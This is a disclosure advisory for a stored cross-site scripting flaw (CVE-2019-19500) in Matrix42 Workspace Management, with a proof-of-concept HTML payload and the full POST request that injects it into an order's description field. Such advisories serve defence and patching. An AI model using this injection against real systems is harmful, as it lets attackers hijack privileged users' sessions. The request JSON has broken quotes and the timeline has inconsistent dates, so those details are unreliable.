Matrix42 Workspace Management 9.1.2.2765 Cross Site Scripting

`Matrix42 Workspace Management 9.1.2.2765 – Stored Cross-Site Scripting  
  
===============================================================================  
  
Identifiers  
  
-------------------------------------------------  
  
CVE-2019-19500  
  
CVSSv3 score  
  
-------------------------------------------------  
  
9.1 [AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L&version=3.1))  
  
Vendor  
  
-------------------------------------------------  
  
Matrix42 ([https://www.matrix42.com](https://www.matrix42.com/))  
  
Product  
  
-------------------------------------------------  
  
Matrix42 combines the disciplines of Unified Endpoint Management (UEM), Software Asset Management (SAM), Automated Endpoint Security (AES) and Service Management (ITSM). With MyWorkspace, one can use the browser to access data and applications securely regardless of the device. With MX42 Workspace Management, one actively manage devices, applications, processes, and services simple, secure, and compliant. The innovative software seamlessly integrates physical, virtual, mobile and cloud-based workspaces into existing infrastructures.  
  
Affected versions  
  
-------------------------------------------------  
  
- Workspace Management 9.1.2.2765 and below  
  
Credit  
  
-------------------------------------------------  
  
Christian Pappas, Georg Ph E Heise (@gpheheise) / Lufthansa Industry Solutions (@LHIND_DLH)  
  
Vulnerability summary  
  
-------------------------------------------------  
  
Workspace Management 9.1.2.2765 and below have a stored XSS vulnerability in the comment field for special order. A user can use this to exploit other privileged users eg managers or admins who are viewing excepting the order.  
  
Technical details  
  
------------------------------------------------  
  
The custom field when placing orders is vulnerable to a persistent cross site scripting (XSS) attack.  
  
An Attacker has to intercept the request made by the web application and modify it before submitting it to server.  
  
Proof of concept  
  
-------------------------------------------------  
  
The following evidence is provided to illustrate the existence and  
  
exploitation:  
  
Modify the the custom field for special order similar to this:  
  
"<p><strong>Kali Linux&nbsp;<img src=\"foo\" onerror=\"alert(\'Hacked by Lufthansa Industry Solutions!\')\" width=\"100\" height=\"30\"></strong></p>"},"_type"  
  
POST /m42Services/api/WidgetDialog/UpdateData/88b223a6-0686-c617-1445-08d6df7de1cf HTTP/1.1  
  
Host: foo.bar.de  
  
Connection: close  
  
Content-Length: 1629  
  
Origin: https:/foo.bar.de  
  
mx-application-id: MX_APPLICATION_ID  
  
Accept-Language: de-DE  
  
Authorization: Bearer beARerTokenHere  
  
Content-Type: application/json;charset=UTF-8  
  
Accept: application/json, text/plain, */*  
  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36  
  
DNT: 1  
  
Sec-Fetch-Site: same-origin  
  
Sec-Fetch-Mode: cors  
  
Referer: https://foo.bar.de/wm/app-SelfServicePortal/search-page/subpage  
  
Accept-Encoding: gzip, deflate  
  
Cookie: ASP.NET_SessionId=SESSION_ID  
  
'{"Sys-Entity":"Ud_LHIND_Service_Form_IndividualSoftwareRequestType","ID”:”REQUEST_ID,”Sys-IsNew":false,"Sys-TimeStamp”:”TIMESTA”MP,”Sys-DisplayName":"Formular individuelle Softwareanfrage","Ud_LHIND_Service_Form_IndividualSoftwareRequestClassBase":{"Sys-TimeStamp”:”TIMESTAMP”,”ID":"fIDIDID”,”Software":"test","Description":"<p><strong>Kali Linux&nbsp;<img src=\"foo\" onerror=\"alert(\'Hacked by Lufthansa Industry Solutions!\')\" width=\"100\" height=\"30\"></strong></p>"},"_type":"Ud_LHIND_Service_Form_IndividualSoftwareRequestType","_id”:”IDNUMMER”,”DisplayString":"Formular individuelle Softwareanfrage","_displayName":"Formular individuelle Softwareanfrage","_name":"Formular individuelle Softwareanfrage","IsNew":false,"SPSCommonClassBase":{"Representitives":{"AddedRelations":[],"RemovedRelations":[]},"WorkflowErrors":{"AddedRelations":[],"RemovedRelations":[]},"Tasks":{"AddedRelations":[],"RemovedRelations":[]},"RelatedBackupObject":{"AddedRelations":[],"RemovedRelations":[]},"RelatedDependentObject":{"AddedRelations":[],"RemovedRelations":[]},"ServiceBookings":{"AddedRelations":[],"RemovedRelations":[]},"Bookings":{"AddedRelations":[],"RemovedRelations":[]},"FormForShoppingCarts":{"AddedRelations":[],"RemovedRelations":[]},"Appointments":{"AddedRelations":[],"RemovedRelations":[]},"Memorandums":{"AddedRelations":[],"RemovedRelations":[]},"Service":{"AddedRelations":[],"RemovedRelations":[]},"Orders":{"AddedRelations":[],"RemovedRelations":[]},"ShoppingCarts":{"AddedRelations":[],"RemovedRelations":[]}}}'  
  
`  
  
Solution  
  
-------------------------------------------------  
  
Upgrade to Matrix42 Workspace Management Version 10.0  
  
Timeline  
  
-------------------------------------------------  
  
Date | Status  
  
------------|-----------------------------  
  
02-DEZ-2019 | Reported to vendor  
  
09-DEZ-2020 | Acknowledged by vendor  
  
31-MAR-2020 | Patch available  
  
14-APR-2020 | Public disclosure  
  
  
`